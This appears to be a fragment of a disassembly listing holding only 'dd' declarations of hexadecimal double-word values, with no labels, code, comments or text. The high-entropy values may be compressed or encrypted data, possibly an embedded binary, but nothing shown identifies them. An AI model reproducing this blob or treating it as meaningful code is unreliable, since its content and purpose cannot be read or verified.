		dd 0B88FB87Eh, 53CD360Ch, 3E500818h, 359CD103h,	5BEC3F0h
		dd 6FF7D34Ah, 413C6093h, 9D5263C7h, 445E02A8h, 0A0B7AD8Ah
		dd 1691988Ch, 0B0410D56h, 9BA4817Bh, 0D021AD08h, 50291699h
		dd 9113F0A6h, 55238A08h, 4801158h, 0A2B50E1Fh, 4CB37CC1h
		dd 0CE892081h, 4859D607h, 0A0010484h, 0F0269C36h, 0DAF8C5E8h
		dd 0EC310CDFh, 860A66Bh, 5DD53E10h, 77EB1A72h, 9C0618C5h
		dd 0E3AC82Dh, 5948FF38h, 8CA87B10h, 94AC010Bh, 75000DF4h
		dd 0D920E2AFh, 60E1B925h, 0BCB8D841h, 0D2EE3C26h, 1E584200h
		dd 0C86FA470h, 394028C9h, 640320A8h, 1F482352h,	0D9CDA6EEh
		dd 204288B9h, 87888220h, 7B588266h, 5084088Ch, 7740A9F7h
		dd 13A7460h, 579E3B6Dh,	8045E055h, 0C27F6499h, 199ABB70h
		dd 9C3BC61h, 84218050h,	265C287h, 0DF7BB1h, 1FD7602Ah
		dd 8EBB29C3h, 867CF104h, 4C991513h, 0C0B8FC07h,	415A168Dh
		dd 0AA229046h, 16957700h, 526D14DEh, 0BFD106EEh, 0D89011DBh
		dd 0E7460A08h, 4682847h, 2F96B82Bh, 65049082h, 7D03056Eh
		dd 5B686D0Ch, 6008B604h, 6643219Bh, 0B0E87005h,	9A11D101h
		dd 0B5EA41F9h, 409F5820h, 1315284h, 0BD5891C3h,	0A9AAC42h
		dd 505F088Ch, 4462A313h, 4EA88477h, 73C28260h, 11A2BB23h
		dd 8A890058h, 2395EDC2h, 4960585Ch, 43150701h, 82BC6BD4h
		dd 5B0DB670h, 0AF30245h, 0AA0A084Ch, 8467E2E0h,	4A408606h
		dd 0E45B0D59h, 61B198F7h, 3002D34Bh, 34E11EF1h,	7D5C9148h
		dd 80305402h, 0BB7112C2h, 83043892h, 8DC2881Eh,	0EADF2BC0h
		dd 7D73E7Ah, 2CB09CADh,	8C21E446h, 4960E000h, 96B00939h
		dd 0CE2400B1h, 8DEB5B05h, 0F0AC7343h, 60EE1F75h, 1BE8B60Ch
		dd 0E44384Eh, 0BFBB8223h, 6BC2E140h, 284839A9h,	0B48711C0h
		dd 4112E923h, 7E33C1Fh,	0D45D168Ch, 20B16288h, 0F7169478h
		dd 9800A1E0h, 0BC4A9F5h, 0EE5A6Fh, 0A86112ECh, 3B10B333h
		dd 0A9522BFAh, 0CBBD83D0h, 24CA9C1Bh, 7BCC7306h, 0E85331B3h
		dd 314CA2B8h, 43CDC0B9h, 380C3D58h, 10F0D2ABh, 0AA055BE3h
		dd 6239D7DDh, 0C0474284h, 0E961B044h, 729FFC96h, 1CBD5A03h
		dd 16403886h, 25D84191h, 0C3C80414h, 0FA9C036Eh, 2F04884Ah
		dd 0D0D48891h, 92F18F00h, 6F9682E1h, 0A5121E62h, 0D3007DD1h
		dd 8533154Eh, 3801F205h, 3D3FF682h, 2C66240Fh, 408AF272h
		dd 0C7104550h, 0B90579C5h, 882D6AFCh, 58C8C30h,	4158168Fh
		dd 7DF838A0h, 90169700h, 5F66B9EDh, 24A0989Dh, 649CB2AFh
		dd 0CEAA0040h, 12EF38CCh, 7D61143h, 9A3C8668h, 0B72B8188h
		dd 64A3156Ch, 0CC195B4Ch, 2448B0CBh, 1221B08Ch,	8508AD38h
		dd 561C68h, 0F75D7744h,	400CD08Ch, 9D8489Ch, 9721C14Ch
		dd 4093F755h, 4F3F2EB4h, 88419481h, 5E027622h, 3A046CF4h
		dd 88C58104h, 5FF63005h, 0E032D580h, 0E4A9C042h, 0A66A7A05h
		dd 0B741500h, 3E46E119h, 5C65054Dh, 80EFD7D3h, 0B2D84916h
		dd 54A00B04h, 58C8E197h, 0F61D0069h, 61D5EB16h,	0E900BD80h
		dd 2CCB3B83h, 0EC0BF22Eh, 0CC044860h, 81B2D310h, 5925229Eh
		dd 0C06B461h, 0DC934DA8h, 80057180h, 458C850Ch,	569C890h
		dd 0C3CCAF05h, 904250C9h, 0AF3986B7h, 0D3BD01E8h, 0BC56996Bh
		dd 8083F0D0h, 49D88830h, 3BDCCBA6h, 3580D0DBh, 2CAF4DC7h
		dd 7091E1FAh, 83373A0Fh, 90759EFFh, 0A19D35h, 16BD4182h
		dd 78A30E0Ch, 0E3C5C4A0h, 70AAD330h, 163B4D85h,	4E8DF7D6h
		dd 4023B8B4h, 38136755h, 8453E9FDh, 97733404h, 0EF17D400h
		dd 7E1C2471h, 5DCF15D3h, 706B2637h, 31570520h, 3C8694ABh
		dd 70460220h, 578E130Fh, 4402A7C9h, 0A02B55Fh, 3CA866F9h
		dd 4C5CE7DBh, 2FD20801h, 72E23AB6h, 0AE18C7F4h,	0FCDD500h
		dd 0D85D6A0Eh, 17D0C0CCh, 2C854EBAh, 4BA20CBCh,	89481431h
		dd 546F1060h, 84878E01h, 0A649073Dh, 44040010h,	0BC802F30h
		dd 80662B2Eh, 11285709h, 70E6DCB9h, 14EBBF28h, 0FB457408h
		dd 529A0E3Ch, 9080601Dh, 684A8FF7h, 0D73F3C41h,	5029715Bh
		dd 23CC7800h, 9EC5D17Eh, 41BA8104h, 10957CDCh, 0A6482808h
		dd 456801B0h, 9AD0DC09h, 9D298479h, 8E991160h, 0E2922061h
		dd 3AAD1F3h, 16027845h,	0C82058CFh, 387B4444h, 307C2FAh
		dd 0F19199DAh, 443808E9h, 0C7C38502h, 62E8AF66h, 8A557E0Fh
		dd 70820B8h, 1154A45Fh,	0D9410C4Fh, 0EE25918Ch,	1F874ACFh
		dd 3DBE81D0h, 0C6BB59E7h, 0F3EE402Fh, 813863h, 0AAF009B9h
		dd 65ACADD8h, 0BCC22901h
		dd 0BD30DB41h, 391F3080h, 0FBDC8B16h, 5DF3C71Bh, 8A15081h
		dd 204041E2h, 51866CA4h, 5C20503Dh, 18CB350h, 0BB75C284h
		dd 20FE19B2h, 0F4C28C87h, 6818FC2Eh, 0A0EE7B60h, 0AC8801C9h
		dd 286FFFAFh, 0C7F08436h, 300A9C5Fh, 81694084h,	1D024D56h
		dd 0CBFCEFC2h, 0E0085959h, 0B37BDC73h, 7408282h, 0A9445143h
		dd 189B7108h, 16BF835h,	0C452D8Ch, 75D7C3BBh, 7F984120h
		dd 5B9C0171h, 24D03C24h, 82C431FFh, 694BCF45h, 3D84F727h
		dd 511C6702h, 0BE9BBCA1h, 3BCDD43Fh, 463D7700h,	1A2A6287h
		dd 53E02248h, 3E4FDF3Fh, 0B1C08147h, 0C2906103h, 9F374D8h
		dd 87BC0A50h, 2F8BA101h, 0EFC18094h, 0CBF73158h, 21A100F3h
		dd 0A67F1D88h, 94032528h, 0BFC3ED09h, 0D0890658h, 0A03E0607h
		dd 0DC3B6E4Ah, 9C009023h, 2FEFA1DEh, 0DE89161h,	635860ADh
		dd 31AEA2F8h, 0E2B3C456h, 0E0A0D103h, 0D5E12586h, 0F51F8C5Eh
		dd 0B17089h, 0B29847ABh, 67BF0358h, 8296B10h, 224186A1h
		dd 35C40458h, 68C15968h, 40527D8h, 167C7714h, 0A8889C08h
		dd 0BD4A44CCh, 0BE0FE314h, 0C3551EFCh, 0B99CD439h, 50C40A70h
		dd 6E1F3EE5h, 0B14674E8h, 60795200h, 0BB033B1Bh, 747E327h
		dd 0FE20C14h, 0CC31006Fh, 18C5873Fh, 501F3686h,	0B1C7D384h
		dd 40FD0202h, 0C46064E0h, 0E4D29E89h, 0E12D603Ch, 0F1C74605h
		dd 1FF40A48h, 0AB65B687h, 0F5100544h, 54DC9012h, 72FE09AFh
		dd 0AC4619F3h, 0AC6B1094h, 24F120A0h, 64C0B7C5h, 5736199h
		dd 91550CDCh, 6B3EC028h, 0C101F705h, 7807F1C3h,	0F0BC79E8h
		dd 0C095C515h, 0D96BE865h, 91F7D4D8h, 3E38D023h, 4E009AC4h
		dd 281D5FF7h, 0A78DA42h, 0A2DF79A3h, 0E45D4258h, 0D125B5E3h
		dd 0BD34212Dh, 0CC5143CBh, 26DBC1ACh, 2148D490h, 0D19C2998h
		dd 12A189Ah, 796A2681h,	0F8D98FB3h, 0F8A1030Ah,	23C873F3h
		dd 5750397h, 28AD0C84h,	6D00402Ch, 0F1E7D305h, 175C8FBh
		dd 6CE2B428h, 84A8B11Ah, 0CDEA4150h, 0D0325887h, 0AB744058h
		dd 0CB0480BAh, 33256005h, 0B400A390h, 34652139h, 106D6089h
		dd 0B6FFC35Ah, 309EC42Ch, 0DA190397h, 1080B750h, 5A8F7F26h
		dd 0B49414BDh, 3EFC1510h, 87D6038Ch, 28B695FAh,	0E861C6FAh
		dd 92DC1088h, 0BD2E003Bh, 34AC1E1Bh, 0A00A1020h, 34BBC358h
		dd 685B8000h, 0CB8ADA41h, 9021AC39h, 0D8243685h, 0BCA9A0FDh
		dd 456C00BCh, 0EC94DFh,	0B4C727C3h, 2176EDCh, 80831D1h
		dd 0C10E81C9h, 24A2D2CDh, 98BA8388h, 6E3F4613h,	0B0FC88D0h
		dd 238B16FBh, 0FEBC445Eh, 58C4F454h, 4BD60814h,	67944008h
		dd 0F75A148Ch, 9446D78Dh, 96013D22h, 0E35BF752h, 35F07B4Fh
		dd 20B0B89Eh, 0DC889047h, 9010BDh, 0BA80A462h, 0F7A1013Fh
		dd 0FB4C75EFh, 201B2025h, 0DC0204E4h, 0C8D60598h, 81203B64h
		dd 20C605BCh, 0E212AA98h, 7CC15EE0h, 0D30045D2h, 806FE7D7h
		dd 37459F50h, 28C2222Ch, 74EE2199h, 0D445C4B3h,	0BFFFEF0Bh
		dd 1046023h, 0A447EF1Ch, 111690D4h, 0CC07B46Ch,	50E7419Bh
		dd 0C316EEA2h, 0DD101503h, 0E0EF2C2Ah, 9DF7375h, 7D3906E2h
		dd 0A80E4889h, 5048A74Bh, 9E817427h, 4A222828h,	6FE43B09h
		dd 3FFC10A2h, 13C48043h, 2E50EF5Ch, 1F8F8CE1h, 0CB8C1E55h
		dd 0A082E072h, 0A0FC398h, 4809ED22h, 0C5F90890h, 0C8309409h
		dd 0E9D7B8h, 2548BA6Bh,	6DD6FE74h, 64EB9307h, 0BD91F796h
		dd 56E4372Ch, 0EC3B0968h, 0F8A3ACBFh, 81B2FC0Bh, 0A81890A0h
		dd 68C50CBDh, 6091469Fh, 0AD129ACFh, 0FC1F90D2h, 0F9474E0Ch
		dd 2D0679Eh, 129C6B0Bh,	37671F3h, 68E329D4h, 68C194BAh
		dd 538C40D2h, 9698EF3Fh, 0A079708Ah, 9C185979h,	37A85502h
		dd 50A3BF3Fh, 84AD3068h, 0D9F509C8h, 0AC2CA09Bh, 1E3CCF08h
		dd 1D85101Bh, 802F2ECh,	40999C51h, 80BDE3D0h, 504A1EACh
		dd 9FBC841h, 0C9A537F9h, 0E611009Fh, 0EA85E6FCh, 608817ECh
		dd 5C168B10h, 11804123h, 937900ABh, 18D95816h, 4390A03Ah
		dd 1059894Ah, 39C150h, 3F7A1DE4h, 21F7D004h, 6E84367h
		dd 26031AA7h, 0B9103469h, 23442E59h, 0EC9900B1h, 0F3D83F74h
		dd 9DDF9C00h, 0F02202DCh, 77514E95h, 48D5C534h,	0FF849088h
		dd 0F482DAAFh, 0DCF04068h, 60558030h, 0A0384340h, 80AD67F0h
		dd 0B703F88Ah, 0C33DBE4Dh, 29F86079h, 0DA0B9CB8h, 4004BD2Bh
		dd 10726BC2h, 518ABC60h, 0BCF8A824h, 173D8F5Ch,	0FEBDBFC0h
		dd 4D763E07h, 2231E492h, 1D3D60D2h, 3B90430h, 0AC3B9102h
		dd 0AFE2FB8Bh, 0ACE80C4Ah, 52541022h, 31609DC4h, 801EC5B9h
		dd 0CC3E5047h, 9C53420Eh, 168E03E3h, 38AC415Bh,	16960076h
		dd 0F586AFBBh, 3B0C32D6h, 0D89F7FC4h, 0D7A117BDh, 5158C76Bh
		dd 45D89EF7h, 0DB008280h, 0C0AB8E4h, 805C0F3Eh,	0C864B925h
		dd 0AC1F20FAh, 78D84EC6h, 80927F58h, 4C9C0452h,	4B20F4A8h
		dd 61B8A18Eh, 0DC344108h, 8CC3E90Ah, 20A4CC73h,	9009AB0h
		dd 876DCA05h, 0FF234C80h, 43135E65h, 20C80D52h,	7DEF20C7h
		dd 0C1933030h, 0F48C6571h, 0C7EA005Dh, 7BFAA84Dh, 460432FBh
		dd 9D43ED24h, 0D50BF8D3h, 47E18481h, 60A0C857h,	3AEB2273h
		dd 3D201021h, 11305090h, 5FDBDA40h, 893CB6AEh, 802CB52h
		dd 8CA05C1Ch, 0FC105E54h, 805B7F3Ah, 3EBDD831h,	16659B90h
		dd 5440F7D3h, 591ACC1Ch, 80796063h, 11458A4h, 40650B84h
		dd 44C0472Fh, 93DD609Ch, 5458163Eh, 7D144352h, 0FFB994ACh
		dd 0B7A050BAh, 0F517EFh, 1B91CDD8h, 90936074h, 587299EAh
		dd 0B8011545h, 0C0A60CDFh, 530A0BF0h, 0D622848h, 31FFD9C2h
		dd 0B8040B64h, 8B304651h, 7FCA00A1h, 81195DA4h,	0C8B0CEAEh
		dd 0E870945Ch, 0C1078C49h, 21134F2Dh, 1C98EF71h, 0AF008432h
		dd 3BB2A690h, 0F7244205h, 82837C93h, 0B2EB0DB6h, 52FCC9B7h
		dd 7E0F6466h, 82AB6FC2h, 0FB9A8E5h, 0E46C286h, 0F6436008h
		dd 9E7A414h, 0AF17E45Dh, 0BD3D2094h, 1891F3E3h,	90E1D712h
		dd 4FB33060h, 0DE5C4D9Eh, 0F3EBF891h, 5518BF60h, 0AC7F3338h
		dd 0F534658h, 0A96EC27Dh, 675C518Ah, 0F4C23086h, 0B650CEAAh
		dd 834037ECh, 340C4C52h, 1EF9C383h, 69FFA031h, 0A450481Ch
		dd 0D7E6E3h, 0D27CE214h, 0BA0335C4h, 0B7ECE807h, 5594FD2Ah
		dd 0CCF0081h, 60FCB900h, 74875F05h, 10B1832Dh, 92FBB020h
		dd 1028B068h, 2B970BD7h, 1B0C987Dh, 0E657945h, 0F2056A7Bh
		dd 0A96C3B60h, 170F2628h, 49DDD51h, 4881A5DBh, 0F7100D1Bh
		dd 458450E9h, 1E07F0A2h, 123F6340h, 0CBC8715h, 30B1DFC4h
		dd 0E88090BEh, 1F167113h, 13F87A34h, 47924FCh, 1646DADCh
		dd 0FAFB0C8h, 6251F5CAh, 6456C0DDh, 0CF39917h, 0B0D6831Ch
		dd 32D0C484h, 0F4F9CB0Ch, 0D8AA3002h, 0C1B76E9Dh, 0B2152B40h
		dd 1FC01D68h, 5126ED40h, 83F266h, 0F17A13C8h, 68E08B4Eh
		dd 160A871Dh, 0A1AC7494h, 43C3B86h, 0AD6BDB82h,	0E30E0C00h
		dd 0CC31C367h, 1908B6A3h, 1249033Eh, 0C9F0901Ch, 0F300D488h
		dd 7846B6BCh, 6E4041Fh,	0BAAFED86h, 7F45B88Eh, 0A04C94D9h
		dd 0A6931C9Dh, 0E48E41C8h, 0A711F021h, 843729h,	0F0BBE11Eh
		dd 0AA0AA4FEh, 60395BDDh, 0F7600447h, 0DD4A6DC6h, 1E84AAF0h
		dd 0ECCF2D6Ch, 3F334F28h, 9123A4h, 0CFA15549h, 24BA60C3h
		dd 91676C88h, 13011093h, 867A7F12h, 40C39091h, 795B0FC0h
		dd 0E8A61064h, 1786E7E0h, 9B16BE07h, 65A0135Fh,	2946F8Dh
		dd 0F39603E2h, 80415C4Eh
		dd 1A702587h, 3FC1C034h, 5BAF1F5h, 0C7B98603h, 8714902Bh
		dd 0D4A8BFADh, 9E0029C8h, 0E551D453h, 0B8BFBF2h, 97458A08h
		dd 18A21442h, 0C302BE6Dh, 234F2C0h, 41695520h, 0B4D281D6h
		dd 80191313h, 4187080Dh, 8C4F7820h, 72C2811Fh, 0D038AA93h
		dd 0C289008Ah, 0D09BCD4Dh, 0E8028B5Bh, 0D3BD4E67h, 0F90B2E3Bh
		dd 0B8884082h, 2B460A00h, 9278B455h, 520F06Bh, 0F05E162Ch
		dd 91F8A42Dh, 0F260A252h, 990F30AEh, 0C1BF381Fh, 4B95141h
		dd 0ACD44CECh, 485A5A82h, 76825868h, 0FA3BC1F8h, 70AF2114h
		dd 0A67B3D08h, 50467408h, 8BA5C001h, 40C86E96h,	5DF6F0B0h
		dd 1816020Ah, 10878BFh,	6050A44Ch, 0D1DB5467h, 0F331E000h
		dd 0EC988A56h, 796C988Eh, 0E21740CBh, 0B43F4484h, 0D8C8EA00h
		dd 282E6388h, 0CF71FACh, 0C630C98Bh, 989E24D8h,	0C91465Eh
		dd 0A9C5ACBBh, 64171C8Fh, 5D5C4039h, 0EED25591h, 1BF9010Ah
		dd 5286AC70h, 1931C10Dh, 1954C7C3h, 0BD5BC0E8h,	10C81058h
		dd 1B28CF0Bh, 65590010h, 5D62D93Ch, 250014D8h, 99DCC6F0h
		dd 0C03DE055h, 0FEE6DE9h, 0E102ECBDh, 0D093C914h, 0BAB0CA5Eh
		dd 0B0C4C1CCh, 8055E111h, 0A609F241h, 0F6647F4Bh, 0FDDF39DAh
		dd 8E5E0177h, 1CA02024h, 0B482843h, 0E49418A5h,	55250190h
		dd 466B3736h, 2265D17Ch, 963C841Ch, 7D7FA40h, 0CD5CB93Eh
		dd 8C5AF82Ch, 699E2B00h, 0D7C7A152h, 0AC828096h, 2C3E9B4Eh
		dd 6B05AD23h, 0C44CBE4Fh, 2CF3A1A4h, 742454D1h,	0B600AF46h
		dd 56142251h, 0EE12184Dh, 78A4E1B8h, 0F7580150h, 0D5C08688h
		dd 81847845h, 48A20FD0h, 0BC68C020h, 415565B8h,	83756E8h
		dd 9A5C2047h, 572048Ch,	0AC4D0C81h, 0E13FB230h,	8CF0C56Ch
		dd 0EEEC03C1h, 0B9A4522Ah, 6464A9EFh, 34E88700h, 0BE782548h
		dd 32107A3h, 0B0F6EBDAh, 866B76E0h, 477C6C9Eh, 17E7F2E7h
		dd 12EB5A80h, 4AF789B2h, 89381C77h, 48D158C4h, 0BB088CA6h
		dd 0FC3004Dh, 927CE107h, 0EF392409h, 0B29420FFh, 98A35D33h
		dd 0C033F748h, 8F30ABF2h, 7EB002E3h, 0B8293E25h, 0D0893042h
		dd 5C41E862h, 68546442h, 0D3C1E4BEh, 1C3C9BD7h,	0C4C0D609h
		dd 600160DBh, 2AE23F81h, 0F0483D2Bh, 0F1560A07h, 7815372Ch
		dd 5331BCC4h, 0E0711541h, 2098C031h, 0BAAA412Dh, 8B2410C8h
		dd 0E4EE4555h, 0C538219Fh, 2F3F951Ah, 12AC23ECh, 1F7809F3h
		dd 8E11741Dh, 0B2BF6F81h, 0E1803C9Fh, 42018F6h,	0A93E629Bh
		dd 84C1801Eh, 0F870118Dh, 0FB0048D5h, 934FEBC7h, 7082AC35h
		dd 0F757306Ah, 30D09211h, 9900E29Ch, 1179F74Fh,	3F145CF5h
		dd 404F8629h, 0FEB9F100h, 0CCA06BDDh, 3E80BBC5h, 442F4BFDh
		dd 8150EF98h, 108D2BBCh, 0CB86C8C3h, 74522F61h,	1D015C71h
		dd 0BF41C0CCh, 903582C3h, 4A6C0C42h, 5EEC7C3Ch,	51004E46h
		dd 0B11CC649h, 409D6F7h, 7A3086EEh, 0BEAC2A8Ch,	77470BE0h
		dd 8180D57Ah, 0CC33C9E0h, 0AEFFD31Bh, 0A0ADD4D9h, 0A075B40Fh
		dd 3BD7C1E0h, 3005F380h, 0BEBCC6D0h, 0A8EFB101h, 302D4486h
		dd 0AFD47304h, 0E80412B1h, 0CF293C7h, 3F417A3Dh, 3FBBA420h
		dd 0A26500DBh, 9A2D27CEh, 0AF0BCC4Bh, 9678477Dh, 0AA594470h
		dd 6646DD16h, 6222448Ah, 0EE3117F6h, 47DB7149h,	23503B2Fh
		dd 0F8440050h, 48228DE3h, 0F1067E72h, 0A543CBBBh, 3A862DE8h
		dd 302C38A0h, 2094BC49h, 0B017E813h, 90C8CCCBh,	0C3F7CAC0h
		dd 934B9BDh, 0CD0C6CEh,	50308F44h, 916F80C1h, 4B4C0238h
		dd 18C05287h, 0BB5AD0DFh, 485FDC4Bh, 40DAC3A4h,	0E717B693h
		dd 0F0077F8Dh, 2F86C77h, 95688EABh, 0CB23209Eh,	0FFF31F94h
		dd 87CFE309h, 4BC54DAh,	14D465Eh, 0FBEBAC4Ch, 49F82775h
		dd 0FC715160h, 17C31440h, 37B8A8B7h, 6893883Ch,	784B72E0h
		dd 1B784CC6h, 0B1B32E0Ah, 5A541004h, 90F81FBDh,	0E498CB22h
		dd 274F8A20h, 4066043Dh, 0E3BFB90Ch, 4DFF2963h,	3900C4E9h
		dd 0D3A1E10Eh, 38B2AD6Fh, 921D8946h, 0B8414816h, 9A7A70h
		dd 1348B316h, 370D845Eh, 4E545C51h, 0C09C8814h,	0B64C520Dh
		dd 0E1E6F513h, 1D5408A4h, 0C07367CBh, 3BFDC62h,	0EB03129Ch
		dd 0B043DAABh, 0EC00398h, 7BEF29C9h, 360C801Dh,	4483F54h
		dd 0AFC78955h, 7D26B8E8h, 0CCE10850h, 20531B09h, 5592074Ch
		dd 15C400B5h, 61183C4Fh, 874E138Fh, 0B485109Bh,	0BCB2CCh
		dd 9409244Ch, 4C84AD3Ah, 7E2543A1h, 4CD6104Ah, 527501DCh
		dd 11F058AEh, 6C022B67h, 5489D3EFh, 0A2F603Ch, 704C43Bh
		dd 583160B5h, 0D45B4480h, 429D41E3h, 0C1129B9Ch, 3F0D8E44h
		dd 5F0ED86Ah, 8D4B2A36h, 0C70D802h, 79F87600h, 4C649A4Ch
		dd 24C5805Bh, 80F4812Ch, 23643D41h, 5700194h, 187D0C7Fh
		dd 0EC45898Fh, 8401F705h, 868737D6h, 53D1310Bh,	40B78020h
		dd 621D7D64h, 246DC315h, 8356D32Ch, 1911735Ch, 4442F7CCh
		dd 5C309BE2h, 0ED53023Dh, 1B34C8C5h, 191C10F2h,	0CF834D18h
		dd 28D4C7Ah, 921427AEh,	0DC493E11h, 0FC8117C6h,	59827B2Fh
		dd 7A432D82h, 0CF60E072h, 67160AA1h, 68A24Fh, 1391F0Ch
		dd 14B94C9Ah, 88F1711h,	3434DFFh, 6A63CF41h, 0C4DC1804h
		dd 0F4E9C7C3h, 0D4AFD702h, 4060479Eh, 60D64BDBh, 8899082Ch
		dd 1959EFD0h, 0EB157E88h, 94FC77D6h, 606D2ED0h,	8FF758C0h
		dd 222846D0h, 7650F44Bh, 40BCB4F7h, 0FB6CFDA3h,	7BC7F100h
		dd 8FFA04B9h, 0A8AC2F63h, 74826C6Ah, 244C589Ch,	0E2ACFB0Bh
		dd 3DDF8FEDh, 710616Fh,	0E0389C6Ch, 99A405F8h, 0E0FB2DB6h
		dd 7AE9410Ch, 0FC13E420h, 91A89E7Ch, 0BC704968h, 1A120601h
		dd 0B02290FBh, 9EF43102h, 0F6F7CBBDh, 0E1174428h, 0E06E6ECCh
		dd 0FB38A530h, 0D25B3D25h, 14E54C00h, 5A0BF7D4h, 23983B0Dh
		dd 0EC21014Ah, 313B8CC7h, 4EC6C9Ch, 5313158Ah, 89C39C88h
		dd 16C7CCF4h, 454274B8h, 22CECE2Eh, 0FCB93B44h,	10221A82h
		dd 7CFC5AFAh, 1F839788h, 438A0B58h, 10B86C31h, 9D11F9C3h
		dd 88DAEC04h, 21D0414h,	814589E3h, 44B0D79Ch, 9A10174Eh
		dd 0CCD8703Ch, 0FE009E0Fh, 0C54F8343h, 5C8AB5BFh, 0C0343C7h
		dd 9530455Fh, 1E495907h, 4DA068B7h, 3AF491h, 0A7AFE892h
		dd 0C238995h, 58034616h, 0C05D3825h, 2AC05954h,	1725A4AFh
		dd 5254E8ACh, 0DFB0040h, 2136E075h, 0E8F2CAB8h,	1E3E3D98h
		dd 17FA5B6h, 1FD3BDA0h,	0B3C8133Eh, 0B568505Ch,	9734109Dh
		dd 7D1B815Ch, 8473006Ch, 3EEB51A2h, 0E7091D87h,	0BD1E401Dh
		dd 73FA073Bh, 543DB626h, 70C26834h, 0B14D237Fh,	2D7D8E8h
		dd 7B785090h, 98735C80h, 0C2F94A04h, 4608360h, 0B78082A9h
		dd 34A0BFADh, 83FE7B2Bh, 3200F77Ch, 141B27FFh, 4BD7C1E5h
		dd 7F14009Fh, 95451255h, 8C840302h, 40CDF0B8h, 499C79E0h
		dd 8C7FB48Dh, 7E056F05h, 98A2750Ch, 56742C1h, 84023A54h
		dd 9B207EBh, 40C2F883h,	5CF3B8A8h, 0A02F20D7h, 23004B23h
		dd 0D9377FFEh, 0DBD80279h, 6EF45C1Bh, 8D446C78h, 26630052h
		dd 0A42B8CE7h, 162C01C9h, 448F3C13h, 40DC93ACh,	0F90A80B1h
		dd 7DFEEC16h, 42A5B0A4h, 75FC0052h, 0D22249D5h,	728C4F6Fh
		dd 20084A84h, 8C790F78h, 0BE07CE08h, 23390055h,	7AC9C452h
		dd 43D11099h, 0B43ECD18h, 0B04890h, 0CE5C86FAh,	17BD5AC4h
		dd 12932D11h, 7B98B02Ch, 68A68C41h, 6C430A44h, 0D73F0408h
		dd 0C09524Bh, 50712Eh, 9951AC04h, 6641870h, 34C571D9h
		dd 0FC8070FCh, 0D333F4C9h
		dd 0F63B7D00h, 0EE0690E4h, 7C72641h, 60666480h,	218EF75Bh
		dd 95C050D0h, 0BC6F753h, 1BB32C19h, 0F8185411h,	0F006326h
		dd 9520BD9Dh, 74EE438h,	0DCC378E3h, 5F9760FCh, 0B925B6AFh
		dd 27E80241h, 91A8C768h, 83DD027Ch, 41644231h, 431625Ch
		dd 59E81478h, 0A3EA018Ch, 0EF416D14h, 2E2C3CFFh, 0F3492C30h
		dd 0D3E870B4h, 69183E0Fh, 0CDC6E7BCh, 5AF8048Bh, 84B252h
		dd 73EDD9DBh, 132FC869h, 0E0CC674Bh, 4C45329Ch,	0D03AC833h
		dd 194AE298h, 808A0FD7h, 9E9AF1B4h, 2E109080h, 44686A9Fh
		dd 6968B0EDh, 0B1A9138h, 101D63FEh, 54E08508h, 1E27883Eh
		dd 835F74h, 0AD404A66h,	45146C84h, 24C87073h, 2820A891h
		dd 82188297h, 0E02501B9h, 1D49873Bh, 788033ECh,	65F241h
		dd 5F7B91Fh, 0C0AC7F94h, 0DFCC79C1h, 76FCE327h,	0C1BA5A5Fh
		dd 43FF1C4h, 6EFF18C1h,	17D09400h, 6868C62Fh, 5CEE52A0h
		dd 6A0E8CEh, 1381D224h,	0DC308C52h, 0B71A8080h,	7DC26AEDh
		dd 96C67F00h, 5EE6E4E8h, 76B4166Ch, 0D7BC601Eh,	0AA0506A2h
		dd 0A031CAD8h, 713C098h, 0A2EDF289h, 8584C59Ch,	0CCB88058h
		dd 14965328h, 39109851h, 0CC020C1Bh, 0FFD4A4F7h, 0F8C078A2h
		dd 1743D33h, 8E8642Ch, 0E10B4902h, 894D942h, 7828B17Bh
		dd 5EFA4844h, 0F440B61h, 0CF138802h, 0D8D80925h, 9069FAC4h
		dd 1F7081F0h, 71173091h, 0B058D373h, 19078CA0h,	14D6EAC3h
		dd 18701A87h, 0B524F68Eh, 1CB92Dh, 9FC3DDAAh, 5AE9E1Bh
		dd 0B2D731D3h, 96D005F6h, 0EC84AC2Ch, 0A1078C8Fh, 0EA41FEC5h
		dd 0A313EC4Ah, 0E07024B0h, 3F3B4072h, 941BC71Fh, 82A43725h
		dd 0BFACB7B4h, 0C0C4800Fh, 6733662h, 21A80B79h,	0EB48ACF2h
		dd 52AC0926h, 9D6CDA4Ah, 0A9087810h, 402AE189h,	0A48ACF04h
		dd 1D015025h, 0DA5984DFh, 862145D5h, 0CB5AD068h, 0E3DC58h
		dd 0CFC0FE4Ah, 5350A841h, 914E03ECh, 5F14DC20h,	0D98899B8h
		dd 7996184Dh, 0AD3D00DEh, 421AE2A6h, 746287C7h,	20BA09E9h
		dd 4E0731D0h, 933384A0h, 950C11B5h, 0FFC4206Bh,	10005F7Ah
		dd 0F2EFE7E3h, 2CEEC8B1h, 158A09Ch, 91F1AA17h, 0F4083F7Dh
		dd 0CC310964h, 4A41456h, 0E441F08h, 0A92CE3BDh,	0C84A0A18h
		dd 4FF2CCA2h, 0E3D830h,	50F19EBEh, 0BC281EB9h, 41F85709h
		dd 2E1CD246h, 2047D06h,	48561068h, 0B7818CFCh, 5C731582h
		dd 42DA4101h, 28D1AC74h, 3E1A180Eh, 245082C3h, 0D3D8E05Eh
		dd 0B9812C5h, 5364049Ah, 0F79C1C99h, 582463D0h,	3E0C03DCh
		dd 602E429Fh, 890410A3h, 0ACA877EFh, 0A6FBB904h, 0E9C4C06Ah
		dd 0B7801D5Ah, 0E4ECB450h, 1040189Ch, 925A4E0Bh, 0F8E46708h
		dd 620E3618h, 0F2063116h, 0E430B670h, 0F2201059h, 58FC3AFBh
		dd 1F9D6140h, 1D276D4h,	0CE105CBAh, 0EDCBBDE8h,	0E48005C4h
		dd 229EC94h, 0EFD00C3Fh, 67005369h, 0E76BC3BFh,	556229B3h
		dd 4C078A2h, 20C26841h,	1B2F27EDh, 0DF1A3AFh, 4F8081ADh
		dd 0A82018Dh, 86106428h, 0E241823Ah, 0E9F482C5h, 88107611h
		dd 68124016h, 5AC87C8Bh, 0C119ABC0h, 20B09C2Ah,	360C0B60h
		dd 6418744Fh, 448859BEh, 7DF82D66h, 6813F0C4h, 6C4FC9F0h
		dd 603F0D60h, 0CB8B069h, 20735403h, 0B821F165h,	9A97EF40h
		dd 2F864F94h, 9D23DCh, 236221BDh, 7899AC5Ah, 6152D100h
		dd 323AA5h, 15078119h, 6742FB03h, 105A6CEEh, 5386D0CCh
		dd 0EA16C439h, 960CF0C9h, 4D9E09Bh, 7280843Ch, 90239407h
		dd 22B43205h, 70A8B2F0h, 4CDB0E1Ch, 37904639h, 687CAB41h
